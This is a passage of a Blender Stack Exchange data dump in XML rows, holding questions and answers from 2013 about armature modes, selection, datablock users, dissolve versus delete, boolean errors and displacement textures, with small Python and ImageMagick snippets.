  <row Id="2430" PostTypeId="2" ParentId="2368" CreationDate="2013-08-16T19:21:37.620" Score="2" Body="&lt;p&gt;Does the object need to be parented? I will make an example that presumes it doesn't. If you explicitly need parented objects, this script will not work as it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you transform the orientation matrix of the source object into an euler and then pass it on to the target object's world orientation as a matrix, you should get what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell: get matrix -&gt; change to euler -&gt; modify euler -&gt; change to matrix -&gt; give to the object you want&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hook this up to a TRUE level pulse triggering sensor with a frequency of your choice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import mathutils&#xA;&#xA;sce = bge.logic.getCurrentScene()&#xA;face = sce.objects['Facer']&#xA;facY = face.worldOrientation.to_euler()[1] #Now we have the Y-axis rotation&#xA;facTar = sce.objects['Facingtarget']       #This is the target object we modify&#xA;newRotList = [facTar.worldOrientation.to_euler()[0],facY,facTar.worldOrientation.to_euler()[2]] #Now we have a list&#xA;newRot = mathutils.Euler(newRotList).to_matrix()   #Now we have the matrix we need&#xA;facTar.worldOrientation = newRot    #The orientation has been modified&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="311" LastEditorUserId="12" LastEditDate="2013-08-16T19:43:10.803" LastActivityDate="2013-08-16T19:43:10.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2431" PostTypeId="2" ParentId="2256" CreationDate="2013-08-16T20:33:58.100" Score="6" Body="&lt;p&gt;I'm afraid dynamically changing the mesh connected to the armature is not possible inside the Blender game engine without implementing it as a new feature in the source code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All deformations of meshes must either be done vertex by vertex or through actions in the Dope sheet editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create action logic bricks that correspond to the limb movement you are trying to get to work, you should be able to get limited model deformation movements going. Changing an action actuator's start and end frames is possible when the game engine is running. This gives you some of the control you seek.&lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2013-08-16T20:33:58.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2432" PostTypeId="2" ParentId="2421" CreationDate="2013-08-16T20:38:23.763" Score="10" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, The armature must be in Edit mode for us to be allowed to add or remove bones. We can switch into and out of it, using &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.ops.object.html#bpy.ops.object.mode_set&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.ops.object.mode_set&lt;/code&gt;&lt;/a&gt;. An idiom I use a couple of times in my &lt;a href=&quot;https://github.com/adhihargo/rigging_tools/blob/master/rigging_tools.py&quot; rel=&quot;noreferrer&quot;&gt;addon&lt;/a&gt;, is to store initial mode in a variable (&lt;code&gt;prev_mode&lt;/code&gt;), then restore it when I'm finished:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;prev_mode = armature.mode # save&#xA;&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;for bone in context.selected_bones:&#xA;    # do anything in edit mode&#xA;    hook_name = PRF_HOOK + bone.name&#xA;    hook = armature.data.edit_bones.new(hook_name)&#xA;&#xA;bpy.ops.object.mode_set(mode='POSE')&#xA;for bone in context.selected_pose_bones:&#xA;    # do anything in pose mode&#xA;    hook = armature.pose.bones[PRF_HOOK + bone_name]&#xA;    ct_constraint = hook.constraints.new('COPY_TRANSFORMS')&#xA;&#xA;bpy.ops.object.mode_set(mode=prev_mode) # restore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way, we can access any editing mode, any number of times, without the user even notice when the script is finished.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="55" LastEditDate="2013-08-17T12:03:04.727" LastActivityDate="2013-08-17T12:03:04.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2433" PostTypeId="1" AcceptedAnswerId="2435" CreationDate="2013-08-17T02:46:25.683" Score="2" ViewCount="1358" Body="&lt;p&gt;You can select a group of objects by selecting one object of that group and pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; &lt;em&gt;&gt; Group&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to deselect a group, while keeping the rest of the original selection selected?&lt;br&gt;&#xA;(e.g. box select a lot of objects, then deselect all of them that are in a certain group.)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-03T00:46:43.487" LastActivityDate="2013-09-03T00:46:43.487" Title="Is it possible to deselect a group while keeping the original selection selected?" Tags="&lt;groups&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2435" PostTypeId="2" ParentId="2433" CreationDate="2013-08-17T03:13:52.817" Score="9" Body="&lt;ol&gt;&#xA;&lt;li&gt;Invert the selection with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Select&quot; the group as you specify, with the &lt;em&gt;Extend&lt;/em&gt; option enabled.&lt;/li&gt;&#xA;&lt;li&gt;Reinvert the selection.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This works for many things, not just groups.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="599" LastEditDate="2013-08-17T15:20:33.400" LastActivityDate="2013-08-17T15:20:33.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2436" PostTypeId="2" ParentId="2433" CreationDate="2013-08-17T04:52:30.120" Score="7" Body="&lt;p&gt;Switch the filter type to &quot;Group&quot; in Outliner, then &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;LMB&lt;/kbd&gt; on group icon(s) to (de)select.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-08-17T04:52:30.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2437" PostTypeId="1" AcceptedAnswerId="2438" CreationDate="2013-08-17T08:11:29.650" Score="3" ViewCount="299" Body="&lt;p&gt;I have selected my mesh (repetier says it is not manifold) and try to active the 3Dprint analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tap space and type 3DPrint. I have tried using Check all, Check solid and Info area. Nothing happens. I'm not sure what should happen.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-08-17T08:57:42.603" Title="Nothing happens when using 3DPrint" Tags="&lt;3d-printing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2438" PostTypeId="2" ParentId="2437" CreationDate="2013-08-17T08:57:42.603" Score="6" Body="&lt;p&gt;When you use the Check All button (or any other test) in the Print3D panel of the toolbar (visible by pressing &lt;kbd&gt;T&lt;/kbd&gt;) you will see a list at the bottom of the panel listing the number of affected parts for each test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in edit mode this list becomes buttons for any items that exist. Clicking a button will select the particular areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MjgKV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coloured areas you see in the above image are from another related feature called Mesh Analysis, this feature highlights the affected areas and can be activated in edit mode from the properties panel (visible by pressing &lt;kbd&gt;N&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wY05L.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-17T08:57:42.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2439" PostTypeId="2" ParentId="2410" CreationDate="2013-08-17T09:14:27.673" Score="10" Body="&lt;p&gt;Yes, you can load in blend file data without opening the blend file using the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.BlendDataLibraries.html#bpy.types.BlendDataLibraries&quot; rel=&quot;noreferrer&quot;&gt;library API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though this is intended for linking in data, you can use it to get data-blocks from a blend file. However it may not be a solution for you since you can &lt;strong&gt;only list the data-block names&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optionally you could link the data, then remove it if you wanted to find out more about the data-blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, I realize that &lt;a href=&quot;https://developer.blender.org/diffusion/BAM/browse/master/bam/blend/blendfile.py&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;blendfile.py&lt;/code&gt;&lt;/a&gt; may prove a better solution regarding the use case described in the question, but adding this answer for completeness, others who read this question may find the library method useful.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-08-05T23:28:52.350" LastActivityDate="2015-08-05T23:28:52.350" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2442" PostTypeId="5" CreationDate="2013-08-17T15:31:43.477" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-08-17T15:31:43.477" LastActivityDate="2013-08-17T15:31:43.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2443" PostTypeId="4" CreationDate="2013-08-17T15:31:43.477" Score="0" Body="Questions about the various tools for controlling and manipulating selections in blender." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-17T16:48:23.660" LastActivityDate="2013-08-17T16:48:23.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2444" PostTypeId="1" CreationDate="2013-08-17T16:37:15.067" Score="4" ViewCount="835" Body="&lt;p&gt;I go into Blender, and under File &gt; User preferences &gt; Addons &gt; Install from file and select &lt;strong&gt;io_smd_tools-1.8.5&lt;/strong&gt;. Then I'm trying to find an Import/Export menu item but I can't find it. Please help.&lt;/p&gt;&#xA;" OwnerUserId="1124" LastEditorUserId="12" LastEditDate="2013-08-17T16:56:54.347" LastActivityDate="2013-08-18T12:27:34.533" Title="Cannot find SMD export buttons" Tags="&lt;add-on&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2445" PostTypeId="2" ParentId="2444" CreationDate="2013-08-17T16:49:23.990" Score="3" Body="&lt;p&gt;According to &lt;a href=&quot;https://code.google.com/p/blender-smd/&quot; rel=&quot;nofollow&quot;&gt;this screenshot&lt;/a&gt;, the export buttons are located in the scene settings, not in the import/export menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you should keep in mind that after installing the addon, you still have to activate it in the &lt;em&gt;addons tab&lt;/em&gt; (check the button on the right).&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="1100" LastEditDate="2013-08-18T12:27:34.533" LastActivityDate="2013-08-18T12:27:34.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2446" PostTypeId="2" ParentId="2131" CreationDate="2013-08-17T16:56:46.363" Score="3" Body="&lt;p&gt;If you don't have a  &lt;em&gt;Mirror Object&lt;/em&gt;, the symmetry lies on the object center. So one fast way might be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Out of editmode with &lt;kbd&gt;TAB&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;+&lt;kbd&gt;3&lt;/kbd&gt;, cursor to selection &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;TAB&lt;/kbd&gt; again&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;.&lt;/kbd&gt; for cursor as pivot point and scale (change back to &lt;em&gt;Bounding Box Center&lt;/em&gt; with &lt;kbd&gt;,&lt;/kbd&gt; or &lt;em&gt;Median Point&lt;/em&gt; with &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;,&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-17T20:31:31.437" LastActivityDate="2013-08-17T20:31:31.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2447" PostTypeId="2" ParentId="2444" CreationDate="2013-08-17T19:24:12.860" Score="1" Body="&lt;p&gt;If you are using &lt;em&gt;Blender 2.68&lt;/em&gt;, then there is a possibility that add-on is not loading correctly.&#xA;You need to copy both file and folder to&lt;br&gt;&#xA;&lt;code&gt;\AppData\Roaming\Blender Foundation\Blender\2.68\scripts\addons&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restart Blender after copy and enable the add-on from the user preferences. It will show up properly.&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="12" LastEditDate="2013-08-17T19:42:26.927" LastActivityDate="2013-08-17T19:42:26.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2448" PostTypeId="1" AcceptedAnswerId="2450" CreationDate="2013-08-18T13:35:41.663" Score="21" ViewCount="5696" Body="&lt;p&gt;I found that there is a &quot;fake user&quot; button (with a &lt;code&gt;F&lt;/code&gt; icon) on object data tab in properties editor. What is the exact meaning of &lt;code&gt;users&lt;/code&gt; and its usage?&lt;/p&gt;&#xA;" OwnerUserId="1127" LastEditorUserId="599" LastEditDate="2013-08-18T22:08:26.293" LastActivityDate="2015-06-14T16:47:59.143" Title="What does &quot;users&quot; means in term of datablocks?" Tags="&lt;blend-files&gt;&lt;properties&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2449" PostTypeId="2" ParentId="2448" CreationDate="2013-08-18T13:43:21.197" Score="3" Body="&lt;p&gt;Users means the number of datablocks that have refernces to the datablock that shows the number of references. To avoid that e.g. that a material will be removed when the .blend file is saved, a fake user can be added, otherwise a non referenced material would be discarded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs on Users and Fake User&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KFYXu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-08-18T13:43:21.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2450" PostTypeId="2" ParentId="2448" CreationDate="2013-08-18T13:45:53.303" Score="17" Body="&lt;p&gt;Blender organizes its data in datablocks. These are chunks of data (bits and bytes) that belong together, like all the settings of a material or the verts and faces of a mesh. When you give a mesh a material, this data isn't merged, but linked. You tell Blender: whenever you use mesh &lt;em&gt;X&lt;/em&gt;, display it with material &lt;em&gt;Y&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a material is linked to something, it has a user. Another datablock that uses this material. When a material is used by a lot of objects or meshes, it has many users, displayed by the number to the right of it's name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you can have a thousand objects all using the same mesh, which takes up less memory and enables you to edit one mesh and affect all linked objects simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fake users are a way to keep a material alive even if no object or mesh uses this material. If a datablock has no users, it will not be saved when you save the file in order to decrease file size. Think of it as some kind of garbage collection. However, the fake user takes care of this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate that, I have resurrected Blender 2.28 because it has a view called OOPS schematic that shows the linking very well. Below, you have four objects all linking to one Suzanne mesh. I'm in the edit mode of the upper left Suzie and mess with her ears. Since all four objects use the same mesh, all objects are changed simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One easily overlooked feature is copying lamps with &lt;kbd&gt;alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;. All the lamps then share the same data. This way you can change every lamp's brightness in one go. Think of a row of street lamps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yVJSt.png&quot; alt=&quot;Old Blender 2.28 screenshot showing OOPS schematic and linking of datablocks&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-14T00:10:19.610" LastActivityDate="2013-09-14T00:10:19.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2451" PostTypeId="2" ParentId="2448" CreationDate="2013-08-18T13:53:09.463" Score="6" Body="&lt;p&gt;Users refer to parts of blender that are using that item. For example an image could be used as a reference image and also used in a texture so it's users would be listed as 2 because two parts of blender are using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fake user option is there to prevent blender from removing that data from the blend file when the file is closed. When closing, Blender will look through parts of the blend file and if something isn't being used (it has zero users) it will be removed from the blend file. Pressing 'F' ensures that blender will keep the data even if it isn't being used, because you might want to use the data at a later date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of 'Object Data', this means that the vertices that make up the object, the shape keys, UV maps and vertex colours will be shared between 2 different objects. This can be used to create &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication&quot; rel=&quot;nofollow&quot;&gt;instances&lt;/a&gt; of an object so that editing one will update the other because they are &lt;em&gt;linked&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing a cube that was sharing object data would update the other cube at the same time regardless of their position, scale or rotation in the scene.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-06-14T16:47:59.143" LastActivityDate="2015-06-14T16:47:59.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2452" PostTypeId="1" AcceptedAnswerId="2453" CreationDate="2013-08-18T18:43:47.693" Score="7" ViewCount="14077" Body="&lt;p&gt;Some times when using a Boolean modifier, it will return the error &quot;Cannot Execute Boolean Operation&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eQHzb.png&quot; alt=&quot;Boolean error example image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will often happen with multiple Boolean modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an &lt;a href=&quot;http://www.pasteall.org/blend/23512&quot;&gt;example file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes this? How can I work around this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-18T21:59:48.717" LastActivityDate="2018-02-26T08:52:13.553" Title="How to deal with Cannot Execute Boolean" Tags="&lt;modifiers&gt;" AnswerCount="3" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2453" PostTypeId="2" ParentId="2452" CreationDate="2013-08-18T22:53:42.617" Score="2" Body="&lt;p&gt;My best guess would be the clue that the console window provides upon opening the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;...intersecting group is not in or out&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you are trying to union a mesh that has already been 'unioned' (cube.002 is the union object on boolean modifiers 1 &lt;em&gt;and&lt;/em&gt; 3) there are no intersections that the boolean can detect, the faces of the object you are trying to union (cube.002) are directly on top of faces that are already there (the cube.002 previously 'unioned').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no intersecting faces then there is nothing to join. The faces of the mesh to be 'unioned' are neither inside the current mesh not outside of it, they are directly on top of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I openly admit this is just my theory based on the error message so I could be wrong. I would presume, based on the objects included in the blend file that this is a simple mistake of using 'cube.002' twice as 'cube.001' isn't used in any of the booleans.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-08-18T22:53:42.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2454" PostTypeId="2" ParentId="356" CreationDate="2013-08-19T04:07:19.050" Score="11" Body="&lt;p&gt;One way you might want to go about this would be to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View#Aligning_the_View&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Align Active Camera to View&lt;/em&gt;&lt;/a&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Numpad 0&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options#View_Properties_Panel&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Lock Camera to View&lt;/em&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the camera and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Properties#Transform_Properties_Locking&quot; rel=&quot;noreferrer&quot;&gt;lock it's transformations&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastEditorUserId="12" LastEditDate="2013-10-03T01:28:35.267" LastActivityDate="2013-10-03T01:28:35.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2455" PostTypeId="1" AcceptedAnswerId="2456" CreationDate="2013-08-19T12:09:20.827" Score="17" ViewCount="5547" Body="&lt;p&gt;Does dissolve works the same way as the delete operator? And what does dissolve and limited dissolve mean? &lt;/p&gt;&#xA;" OwnerUserId="1127" LastEditorUserId="12" LastEditDate="2013-08-19T17:46:13.137" LastActivityDate="2015-04-02T05:25:22.950" Title="Differences between dissolve and delete?" Tags="&lt;operator&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2456" PostTypeId="2" ParentId="2455" CreationDate="2013-08-19T12:14:33.333" Score="18" Body="&lt;p&gt;&lt;strong&gt;Delete&lt;/strong&gt; removes vertices/edges/faces and leaves nothing/a hole in their place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dissolve&lt;/strong&gt; combines faces into one big face (ngon) or removes edges only as a separator between faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dissolving an edge between two vertices can be reversed by re-connecting them by pressing &lt;kbd&gt;J&lt;/kbd&gt; with both vertices selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Limited dissolve&lt;/strong&gt; dissolves (combines into big NGons) all faces that have a certain angle between them (less than 5° by default). Limited dissolve therefore turns large areas filled with many faces into one large face.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="55" LastEditDate="2015-04-02T05:25:22.950" LastActivityDate="2015-04-02T05:25:22.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2457" PostTypeId="1" AcceptedAnswerId="2459" CreationDate="2013-08-19T12:19:23.183" Score="7" ViewCount="1399" Body="&lt;p&gt;When replacing sparse quads with a custom mesh, I create a &quot;base vertex&quot; on each quad, in order to cause a Particle Instance modifier to spawn the custom mesh at the right place (like for spawning leaves on a tree created by the Sapling addon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I delete the rest of the quad, just keeping the wanted vertex, its normal is modified, making the Particle Instance modifier instantiate the meshes with an incorrect rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I keep the normal as it is (aligned to the quad's face) while removing the useless vertices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is an example blend file : &lt;a href=&quot;http://www.pasteall.org/blend/23530&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/23530&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goals:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;new leaves must have the same orientation as the sapling one.&lt;/li&gt;&#xA;&lt;li&gt;they must look natural : they must have their base touching the branches.&lt;/li&gt;&#xA;&lt;li&gt;their must be exactly the same number of leaves in the particle instance modifier as in the sapling version.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2013-08-20T05:38:45.987" LastActivityDate="2013-08-21T17:49:40.167" Title="How to keep the vertex normals after deleting an edge/face?" Tags="&lt;particles&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2458" PostTypeId="1" CreationDate="2013-08-19T14:30:31.633" Score="2" ViewCount="3064" Body="&lt;p&gt;I was in need to know a good workflow to get alias files to work into blender (mainly for cycles rendering)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What It's obivious to do is to export to some common format like .obj (or trought other programs like maya or rhino and from there get other possibilities like .3ds or .lwo).&#xA;But the program splits up the nurbs planes in different mesh pieces, who won't stick together (I'd have to do a lot of work to get a topology), so isn't there any tool to stick the overlapping edges making from them some ngons? for example when I get a file from rhino I just have to remove doubles and I'm done, but here the planes aren't connected, and I can`t shade the surfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2017-07-30T02:59:29.230" Title="Import file from Alias .wire" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2459" PostTypeId="2" ParentId="2457" CreationDate="2013-08-19T14:38:33.590" Score="4" Body="&lt;p&gt;A single vertex can't have a normal vector. A normal is the vector which is perpendicular to two other vectors (edges) the normal is calculated using the &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross_product&quot; rel=&quot;nofollow&quot;&gt;cross product&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://en.wikipedia.org/wiki/Vertex_normal&quot; rel=&quot;nofollow&quot;&gt;vertex normal&lt;/a&gt; is the average of all surfaces normals which contain a certain vertex, this does not mean that a vertex can have a normal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you could move the original quads to another (invisible) layer.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-08-19T14:38:33.590" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2460" PostTypeId="1" CreationDate="2013-08-19T15:52:25.207" Score="13" ViewCount="4197" Body="&lt;p&gt;How can I adjust the random seed used for the textures in the &lt;em&gt;Displacement&lt;/em&gt; modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a Displacement modifier using a Voronoi-Minkowski 4 texture that creates a nice look for a rock. However, I want to have multiple &quot;random&quot; variants of this rock. When I duplicate the rock and the texture, the pattern is identical:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C9Cjx.png&quot; alt=&quot;Rocks with identical pattern&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can adjust the pattern by setting the texture space to &lt;strong&gt;Global&lt;/strong&gt; in the &lt;em&gt;Displacement&lt;/em&gt; modifier settings. However, this seems like a clumsy/hackish solution. What really makes sense is just a &lt;em&gt;Seed&lt;/em&gt; property in the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried translating and scaling the texture space with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;, but this does nothing (surprisingly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="12" LastEditDate="2013-12-18T15:22:20.557" LastActivityDate="2013-12-18T15:40:07.923" Title="Adjust random seed of displacement textures" Tags="&lt;texturing&gt;&lt;modifiers&gt;&lt;transforms&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2461" PostTypeId="2" ParentId="1911" CreationDate="2013-08-19T21:06:10.000" Score="2" Body="&lt;p&gt;To expand on Dan the Man's comment, one way to do this would be to use an external tool to append the image sequence into one wide image.&lt;/p&gt;&#xA;&lt;p&gt;One tool that might be good for this is &lt;a href=&quot;https://www.imagemagick.org/script/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Image Magick&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.imagemagick.org/script/download.php#windows&quot; rel=&quot;nofollow noreferrer&quot;&gt;instructions for installing Image Magick on Windows&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;to append an image sequence on Linux, one way would be like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cd /path/to/directory/with/images/&#xA;convert `ls -v -w 1` +append /path/to/output/file.png  &#xA;# this assumes the images are named in alphanumeric order &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once you have your image strip,&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply the array modifier on your film object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;unwrap your film object with &lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;&amp;gt; Project from View 